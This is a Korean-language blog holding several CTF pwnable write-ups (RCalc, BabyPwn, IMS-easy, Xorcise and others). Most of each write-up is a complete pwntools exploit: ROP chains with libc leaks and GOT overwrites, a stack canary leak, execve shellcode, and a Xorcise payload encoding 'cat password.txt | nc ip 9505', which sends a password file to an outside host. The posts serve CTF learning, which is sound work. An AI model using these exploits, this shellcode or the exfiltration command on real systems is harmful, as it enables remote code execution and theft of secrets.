이 값이 나중에 get_current_seed 함수를 통해 불러와지게 되고 스택에 저장됐던 값과 비교를 통해 함수가 정상 반환될 지 결정한다.


scanf를 통해서 bof가 충분히 가능하고 scanf의 특성상 공백 문자전까지만 받아 올 수 있다는 것만 기억해두고


execute_calculator함수를 살펴보자.






간단하게 숫자 2개를 입력받아서 add, sub, mod, mul을 해준 뒤 결과값을 받아와 c_result->seed_arr[c_result->cnt++]에 저장해준다.


c_result와 seed를 덤프해보면 각각의 seed_arr의 차이가 0x110 바이트 차이가 난다.


그 공간에 8바이트의 결과값들을 저장해주는데 우리가 넣은 숫자 두개의 계산 결과가 c_result에 저장되기때문에


0x110 / 8번을 반복해서 넣어주면 정확하게 c_result->seed_arr보다 뒤에 있는 seed->seed_arr[0]에 덮어씌워진다.


이를 통해 randomize() ~ get_current_seed() 함수들을 우회가능해졌다.



그럼 Got Overwrite하기 위해서는 libc.so.6 의 함수중 하나의 주소를 알아야 offset을 통해 우리가 원하는 함수를 호출해 줄 수 있는데,

함수 우회도 되겠다.. bof를 통해서 puts나 printf쪽에 pop rdi; ret가젯을 찾아서 함수의 got를 rdi에 셋팅하고 호출해주면 되겠다.

기왕이면 Got Overwrite도 같이 하기 위해서 calc함수 시작의 printf부터 시작하도록 했다.

그렇게 되면 원하는 함수의 주소가 출력되고 그 다음에는 scanf가 있으니 rbp에 bss의 주소를 넣어주고

그에 따른 offset계산을 통해 우리가 원하는 값을 입력이 된다. (일석이조)

저는 fread_got를 잡았고 execve('/bin/sh')의 주소로 쓰면 된다.

그럼 바로 randomize함수에서 트리거가 되어 쉘이 따진다.


밑에 소스가 익스 코드임.


from pwn import * con = remote("rcalc.2017.teamrois.cn", 2333) #con = process("./RCalc/RCalc") libc = ELF("./RCalc/libc.so.6") seed = int("neko".encode("hex"), 16) def start(payload): con.recvuntil("Input your name pls: ") con.sendline(payload) con.recvuntil("Let's try our smart calculator\n") def add(): con.recvuntil("Your choice:") con.sendline("1") print con.recvuntil("input 2 integer: ") con.sendline(str(seed)) con.sendline(str(0x00)) def save(): con.recvuntil("Save the result? ") con.sendline("yes") def end(): con.recvuntil("Your choice:") con.sendline("5") libc_start_main_got = 0x601FF0 main = 0x401036 poprdi_ret = 0x00401123 poprsi_pop_ret = 0x00401121 sub_puts = 0x00400FC2 poprbp_ret = 0x00400970 bss = 0x602138 libc_start_main_offset = libc.symbols['__libc_start_main'] system_offset = 0x4526A print hex(libc_start_main_offset) print hex(system_offset) payload = "" payload += "A" * 0x108 payload += p64(seed) # seed payload += p64(bss) # dummy payload += p64(poprdi_ret) payload += p64(libc_start_main_got) payload += p64(sub_puts) start(payload) for i in range(0x110/8+1): print (i + 1), "Attempt" add() save() print "Get Libc Addr" end() libc_start_main = int(con.recv(8)[::-1].encode("hex"), 16) libc_system = libc_start_main - libc_start_main_offset + system_offset print "__libc_start_main : " + hex(libc_start_main) print "system : " + hex(libc_system) con.sendline(p64(libc_system)) con.interactive()


'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[Codegate 2019] writeup  (0) 2019.01.29
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

쉽다. angr로 코딩해서 돌려주면 되는데 양이 많다.


어쨋든 아래의 소스코드를 참조하면 된다.


#!/usr/bin/env python

import angr

for i in range(1, 102):
	p = angr.Project("./prob" + str(i))

	offset = 0
	with open("./prob" + str(i), "rb") as f:
		buf = f.read()
		offset = buf.index("\x83\xF8\x01\x75\x0C") + 5
	print hex(offset)

	arg1 = angr.claripy.BVS("arg1", 8*8*90) # 90 bytes
	st = p.factory.entry_state(args=["./prob" + str(i), arg1])
	pt = p.factory.path(st)
	ex = p.surveyors.Explorer(start=pt, find=0x400000 + offset)
	ex.run()
	print ex.found[0].state.se.any_str(arg1)


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

IDA로 까보면 아래와 같이 3개의 stage로 나뉘어 져있다.




먼저 Stage1을 까보면 아래와 같이 되있다.




Base64의 Collision을 일으키면 통과된다.


간단하니 구글 검색만 해도 나온다





Stage2는 길이가 달라지면 통과가 된단다.


Base64는 =로 Padding을 하니까 =를 넣어주면 통과된다.,





마지막으로 Stage3인데 필터링을 우회하면 된다.


preg_comp함수로 cat 이나 flag나 말고도 다른걸 막아뒀는데 head나 tail을 안막아놨으니


head fla* 를 base64로 인코딩해서 넣어주면 클리어가 되겠다.

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

babypwn



전형적인 bof 문제다 ROP 사용하면 해서 system 실행시키고


소켓으로 fd redirect 시켜서 플래그 확인해면 됌


아래는 Exploit.py



from pwn import *

con = remote("192.168.0.14", 9191) # local
#con = remote("110.10.212.130", 8888) # codegate

def dummy():
	con.recvn(276)

def canary_leak():
	print "[*] Canary Leak"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.send("1\x00")
	con.recvuntil("Input Your Message : ")
	con.sendline("A"*40)
	con.recvn(40)
	canary = con.recvn(4)[::-1]
	print "canary : " + hex(int(canary.encode("hex"), 16))
	return int(canary.encode("hex"), 16)

def ROP():
	canary = canary_leak()
	print "[*] ROP Stage"

	worker = 0x08048A71
	pop3ret = 0x8048eec
	system_plt = 0x8048620
	recv_plt = 0x80486e0
	bss = 0x804b1b4

	gadget = "/bin/ls 0>&4 1>&4\x00"

	print "[*] Pre-Payload Send"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += p32(canary)
	payload += "B" * 12
	
	payload += p32(recv_plt)
	payload += p32(pop3ret)
	payload += p32(0x04) # socket
	payload += p32(bss)
	payload += p32(len(gadget))
	payload += p32(0x00)
	payload += p32(system_plt)
	payload += p32(0x41414141)
	payload += p32(bss)

	con.sendline(payload)

	print "[*] Canary Null Inject"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += "\x00"

	con.send(payload)

	print "[*] Triggering"
	con.recvuntil("3. Exit\n")
	print con.recvuntil("===============================\n")
	con.sendline("3") # triggering

	con.sendline(gadget)

	con.interactive()

ROP()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

RC3 CTF에서 낸 문제다.


static compiled 바이너리가 주어지고 풀어주면 되는데,




다시 풀어봤는데..


쉘코드가 문제였던거 같다. 



from pwn import *
import time

#con = process("IMS-easy")
#ims.ctf.rc3.club 7777
con = remote("ims.ctf.rc3.club", 7777)

#0x080bfb66 : push esp , ret
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""

for i in range(7):
	print con.recvuntil("Choose: ")
	con.sendline("1")
	print con.recvuntil("ID: ")
	con.sendline("135002982")	# push esp, ret
	print con.recvuntil("code: ")
	con.sendline(p64(0x080bfb66080bfb66))	# dummy
	con.recvline()
	con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[8:12])))
print con.recvuntil("code: ")
con.sendline(shellcode[0:8])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[20:24])))
print con.recvuntil("code: ")
con.sendline(shellcode[12:20])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(0))
print con.recvuntil("code: ")
con.sendline("\x80\x90\x90\x90\x90\x90\x90\x90")
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("4")

payload += "4\n"

time.sleep(1)

con.interactive()
	
con.close()

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

문제 파일


xorcise


/* 
    --------------------------
    XORCISE ENTERPRISE EDITION 
    --------------------------
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BLOCK_SIZE 8
#define MAX_BLOCKS 16

#define FILE_ERROR "Unable to open file."
#define AUTH_ERROR "Authentication Required."

// encrypted
struct cipher_data
{
    uint8_t length; // max Length : 255
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;

struct request
{
    uint32_t opcode;
    uint32_t checksum;
    uint8_t data[100];
};
typedef struct request request;

char password[16];
time_t start_time;

void hexdump(unsigned char *buf, size_t len, FILE *fd)
{
    size_t loop = 0, diff = 0, left=0;
    unsigned char *p = NULL;
    char tmp[24];

    p = buf;
    memset(tmp, 0, sizeof(tmp));

    for (loop = 0; loop < len; ++loop, ++p)
    {
        if (loop && !(loop % 16))
        {
            fprintf(fd, "| %s\n", tmp);
            memset(tmp, 0, 16);
        }

        fprintf(fd, "%02x ", *p);
        tmp[loop % 16] = isprint(*p)?*p:'.';
    }
    diff = loop % 16;

    if (!diff)
    {
        fprintf(fd, "| %s\n", tmp);
        return;
    }
    left = 16 - diff;

    for (loop = 0; loop < left; ++loop)
    {
        fprintf(fd, "   ");
    }
    fprintf(fd, "| %s\n", tmp);
}

uint32_t cluster_f(uint8_t *data, uint32_t length)
{
    uint32_t hash;
    uint32_t iv;
    uint32_t temp;
    uint32_t rounds;
    uint8_t cluster[]={  0x31, 0x24, 0x13, 0x41,
                         0x37, 0x6D, 0x73, 0xFF,
                         0x00, 0xCC, 0x99, 0x01};
    uint8_t cluster2[]={ 0x11, 0x01, 0x22, 0x06,
                         0x33, 0x20, 0x44, 0xD0,
                         0x55, 0x0F, 0x6E, 0x00};

    rounds = length < 16 ? 16: length;
    iv = 0x10F00F01;
    hash = iv;
    while (rounds)
    {
        iv ^= data[rounds % length];
        iv <<= 8;
        iv ^= cluster[rounds % sizeof(cluster)];
        iv <<= 3;
        iv ^= cluster2[rounds%sizeof(cluster2)];
        hash ^= iv;
        temp = hash;
        temp ^= cluster2[(temp<<2) % sizeof(cluster2)];
        hash <<= 1;
        hash += cluster[iv % sizeof(cluster)];
        hash <<= 1;
        hash ^= cluster[(temp & 0xFF00)%sizeof(cluster)];
        temp <<= 1;
        temp ^= cluster[(temp<<2) % sizeof(cluster2)];
        hash += temp;
        --rounds;
    }

    return hash;
}

uint32_t decipher(cipher_data *data, uint8_t *output)
{
    uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];    
    uint32_t loop;
    uint32_t block_index;
    uint8_t xor_mask = 0x8F;

    memcpy(buf, data->bytes, sizeof(buf));
    // Vulnerable..
    // 135 / 8 == 16
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
    {
        data->length = BLOCK_SIZE * MAX_BLOCKS;
    }

    for (loop = 0; loop < data->length; loop += 8)
    {
        for (block_index = 0; block_index < 8; ++block_index)
        {
            buf[loop+block_index]^=(xor_mask^data->key[block_index]);
        }
    }
    memcpy(output, buf, sizeof(buf));
}

uint32_t is_authenticated(request *packet, uint8_t *key)
{
    char buf[128];
    uint32_t hash_a;
    uint32_t hash_b;
    uint32_t auth_checksum;
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, password, 16);
    memcpy(buf+16, key, 8);
    hash_a = cluster_f(buf, 24);
    printf("hash_a [%08x] from: \n", hash_a);
    hexdump(buf, 24, stdout);
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, password, 16);    
    memcpy(buf+16, packet->data, 100);
    hash_b = cluster_f(buf, 116);
    printf("hash_b [%08x] from: \n", hash_b);
    hexdump(buf, 116, stdout);
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a));
    memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b));
    auth_checksum = cluster_f(buf, 8);
    printf("auth_checksum = %08x\n", auth_checksum);
    printf("packet->checksum = %08x\n", packet->checksum);
    
    if (auth_checksum == packet->checksum)
    {
        return 1;
    }

    return 0;
}

void reap_exited_processes(int sig_number)
{
    pid_t process_id;
    while (1)
    {
        process_id = waitpid(-1, NULL, WNOHANG);
        if ((0==process_id) || (-1==process_id))
        {
            break;
        }
    }
    return;
}

void read_file(int sockfd, uint8_t *name)
{
    FILE *fd;
    size_t bytes_read;
    uint8_t buf[128];

    fd = fopen(name, "r");
    printf("file name is [%s] \n", name);

    if (NULL == fd)
    {
        printf("Error: %s\n", FILE_ERROR);
        send(sockfd, FILE_ERROR, strlen(FILE_ERROR), 0);
        return;
    }

    memset(buf, 0, sizeof(buf));
    while (1)
    {
        bytes_read = fread(buf, 1, sizeof(buf), fd);
        if (0 == bytes_read)
        {
            break;
        }
        send(sockfd, buf, bytes_read, 0);
    }
    fclose(fd);
    return;
}

void uptime(int sockfd)
{
    char buf[32];
    memset(buf, 0, sizeof(buf));    
    sprintf(buf, "%u seconds", (uint32_t )start_time);
    send(sockfd, buf, strlen(buf), 0);
}

void timestamp(int sockfd)
{
    char buf[32];
    time_t current_time;
    current_time = time(NULL);
    memset(buf, 0, sizeof(buf));
    sprintf(buf, "timestamp: %u", (uint32_t )current_time);
    send(sockfd, buf, strlen(buf), 0);
}

int process_connection(int sockfd)
{
    ssize_t bytes_read;
    cipher_data encrypted;
    uint8_t decrypted[128];
    request *packet;
    uint32_t authenticated;

    memset(&encrypted, 0, sizeof(encrypted));
    memset(&decrypted, 0, sizeof(decrypted));

    bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
    if (bytes_read <= 0)
    {
        printf("Error: failed to read socket\n");
        return -1;
    }

    if (encrypted.length > bytes_read)
    {
        printf("Error: invalid length in packet\n");
        return -1;
    }
    
    decipher(&encrypted, decrypted);

    // printf("encrypted->length: 0x%02x\n", encrypted.length);
    // printf("encrypted->key: ");
    // hexdump(encrypted.key, sizeof(encrypted.key), stdout);
    // printf("encrypted->bytes:\n");
    // hexdump(encrypted.bytes, sizeof(encrypted.bytes), stdout);
    // printf("deciphered to: \n");
    // hexdump(decrypted, sizeof(decrypted), stdout);

    packet = (request *)&decrypted;
    authenticated = is_authenticated(packet, encrypted.key);

    if (1 == authenticated)
    {
        printf("Packet is authenticated\n");
    }
    else
    {
        printf("Packet is NOT authenticated\n");
    }

    switch (packet->opcode)
    {
     
    /* 
        functions:
            - timestamp
            - uptime
            - read file
            - execute command
    */

        case 0x01:
            printf("Timestamp Request\n");
            timestamp(sockfd);
            break;

        case 0x24:
            printf("Uptime Request\n");
            uptime(sockfd);
            break;            

        case 0x3A:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Read File Request: %s\n", packet->data);
            read_file(sockfd, packet->data);
            break;

        case 0x5C:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Execute Command Request: %s\n", packet->data);
            system(packet->data);
            break;

        default:
            printf("Unknown opcode: %08x\n", packet->opcode);
            break;
    }
    return 0;
}

int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;

    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));

    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }

    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }

    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }

    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }

    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }

    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }

        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }

        close(client_sd);

    }
}

int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;

    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");

    fd = fopen("password.txt", "rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }

    start_time = time(NULL);

    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);

    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }

    tcp_server_loop(24001);
    return 0;
}



위의 소스는 Xorcise의 소스코드인데, 분석을 해보자.


먼저 main함수를 보자.

int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;

    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");

    fd = fopen("password.txt", "rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }

    start_time = time(NULL);

    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);

    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }

    tcp_server_loop(24001);
    return 0;
}


password.txt를 읽어서 password변수(전역) 저장 하는 것을 알 수 있다.


그리고 tcp_server_loop함수를 호출하여 소켓 통신을 하게 되는데 소스코드를 보자.


int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;

    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));

    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }

    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }

    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }

    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }

    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }

    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }

        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }

        close(client_sd);

    }
}


딱히 별다를게 없이 소켓을 할당하고 통신을 위해서 fork로 자식프로세스한테 process_connection을 실행시키도록 한다.


그럼 process_connection의 코드를 보자.


int process_connection(int sockfd) { ssize_t bytes_read; cipher_data encrypted; uint8_t decrypted[128]; request *packet; uint32_t authenticated; memset(&encrypted, 0, sizeof(encrypted)); memset(&decrypted, 0, sizeof(decrypted)); bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0); if (bytes_read <= 0) { printf("Error: failed to read socket\n"); return -1; } if (encrypted.length > bytes_read) { printf("Error: invalid length in packet\n"); return -1; } decipher(&encrypted, decrypted); packet = (request *)&decrypted; authenticated = is_authenticated(packet, encrypted.key); if (1 == authenticated) { printf("Packet is authenticated\n"); } else { printf("Packet is NOT authenticated\n"); } switch (packet->opcode) { /* functions: - timestamp - uptime - read file - execute command */ case 0x01: printf("Timestamp Request\n"); timestamp(sockfd); break; case 0x24: printf("Uptime Request\n"); uptime(sockfd); break; case 0x3A: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Read File Request: %s\n", packet->data); read_file(sockfd, packet->data); break; case 0x5C: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Execute Command Request: %s\n", packet->data); system(packet->data); break; default: printf("Unknown opcode: %08x\n", packet->opcode); break; } return 0; }


보다 시피 소켓을 통해 cipher_data 구조체를 받아서 decipher함수를 호출한다.


cipher_data 구조체는 아래와 같다.


// encrypted
struct cipher_data
{
    uint8_t length; // max Length : 255
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;


길이와 키값, 그리고 바이트 값들을 가지고 있다.


이 구조체를 이용해서 decipher함수를 실행하게 되니 한번 소스코드를 보자.


decipher함수는 아래와 같다.


uint32_t decipher(cipher_data *data, uint8_t *output) { uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; uint32_t loop; uint32_t block_index; uint8_t xor_mask = 0x8F; memcpy(buf, data->bytes, sizeof(buf)); if ((data->length / BLOCK_SIZE) > MAX_BLOCKS) { data->length = BLOCK_SIZE * MAX_BLOCKS; } for (loop = 0; loop < data->length; loop += 8) { for (block_index = 0; block_index < 8; ++block_index) { buf[loop+block_index]^=(xor_mask^data->key[block_index]); } } memcpy(output, buf, sizeof(buf)); }


최대 블록수(MAX_BLOCKS)는 8개 이고, BLOCK_SIZE는 16이다.


각 블록 당 데이터들을 bytes[loop + block_index] ^ 0x8f ^ key[block_index]를 해준다.


그런데 cipher_data는 우리가 직접 전송한 패킷이다.


다른 말로하면 조작할 수 있다는 건데, key 배열을 0x00으로 전부 초기화 시켜버리면


최종적으로 buf[loop + block_index] ^= 0x8f가 된다는 말이다. (간단해졌죠.)


근데 이것 마저 간단하게 바꿀 수 있는데,


저 이중 포문은 사실상 포문 하나와 마찬가지로 볼 수 있기 때문에


이렇게 바꿀 수 있다.


for(int p = 0; p < data->length; p++)
    buf[p] ^= 0x8f;


결국 배열에 대해서 0x8f를 해준다는 것이기 때문에 output에 복사할 데이터를 예상하기 쉬워졌다.


output은 결과적으로 decipher함수를 빠져나와 request 구조체로 형변환이 일어나게되는데,


request 구조체는 아래와 같다.


struct request { uint32_t opcode; uint32_t checksum; uint8_t data[100]; }; typedef struct request request;


이렇게 생겼는데, 먼저 우리는 이 데이터를 예상하기 쉬워졌기 때문에


opcode에 먼저 0x5c값을 넣기위해 


0x8f ^ 0x5c 한 값을 cipher_data->bytes의 맨 처음에 넣어줘야 한다.


또 아까전에 예상하기 쉬워지기 위해서는 key배열이 전부 0으로 초기화 되야한다고 했으니 key 배열에 0을 넣어준다.



현재 패킷 구조


패킷 총 길이

0x0000000000000000

0x0000008f ^ 0x0000005c

... 

 bytes[128]





자 이제 어느정도 까지 했는데, is_authticated 함수를 분석 해보자.


uint32_t is_authenticated(request *packet, uint8_t *key) { char buf[128]; uint32_t hash_a; uint32_t hash_b; uint32_t auth_checksum; memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, key, 8); hash_a = cluster_f(buf, 24); memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, packet->data, 100); hash_b = cluster_f(buf, 116); memset(buf, 0, sizeof(buf)); memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a)); memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b)); auth_checksum = cluster_f(buf, 8); printf("auth_checksum = %08x\n", auth_checksum); printf("packet->checksum = %08x\n", packet->checksum); if (auth_checksum == packet->checksum) { return 1; } return 0; }


request구조체를 입력받아 cluster_f함수를 통해 해쉬화를 해주고 있다.


checksum값을 출력해주는데 어차피 packet의 checksum값만 변경해주면 우회가 가능하다.


지금까지 패킷 구조를 보게되면 아래와 같다.


패킷 총 길이

0x0000000000000000

0x8f_xor_opcode

checksum

bytes[100]


이렇게 구성한뒤 패킷을 전송하면 system을 실행시킬 수 있을 것이다.


system함수에서 명령어를 bytes에서 받아오기 때문에 bytes에 명령어를 집어 넣어주면 되겠다.


아 물론 0x8f으로 xor한 뒤에 넣어줘야 한다.


최종 Payload


from socket import *
import struct, telnetlib

b = lambda x : struct.pack("<B", x)
l = lambda x : struct.pack("<L", x)
q = lambda x : struct.pack("<Q", x)

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(('127.0.0.1', 24001))

cipher_data  = ""
cipher_data += b(0x87) # max length
cipher_data += q(0x00) # key is 0x0000000000000000
cipher_data += l(0x8f8f8fd3) # opcode
cipher_data += l(0xE0B6AE43) # checksum
# cat password.txt | nc ip 9505;
cipher_data += "\xec\xee\xfb\xaf\xff\xee\xfc\xfc\xf8\xe0\xfd\xeb\xa1\xfb\xf7\xfb\xaf\xf3\xaf\xe1\xec\xaf\xbf\xaf\xb6\xba\xbf\xba\xb4"
cipher_data += "A" * (0x87 - len(cipher_data))

sock.send(cipher_data + "\n")

t = telnetlib.Telnet()
t.sock = sock
t.interact()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,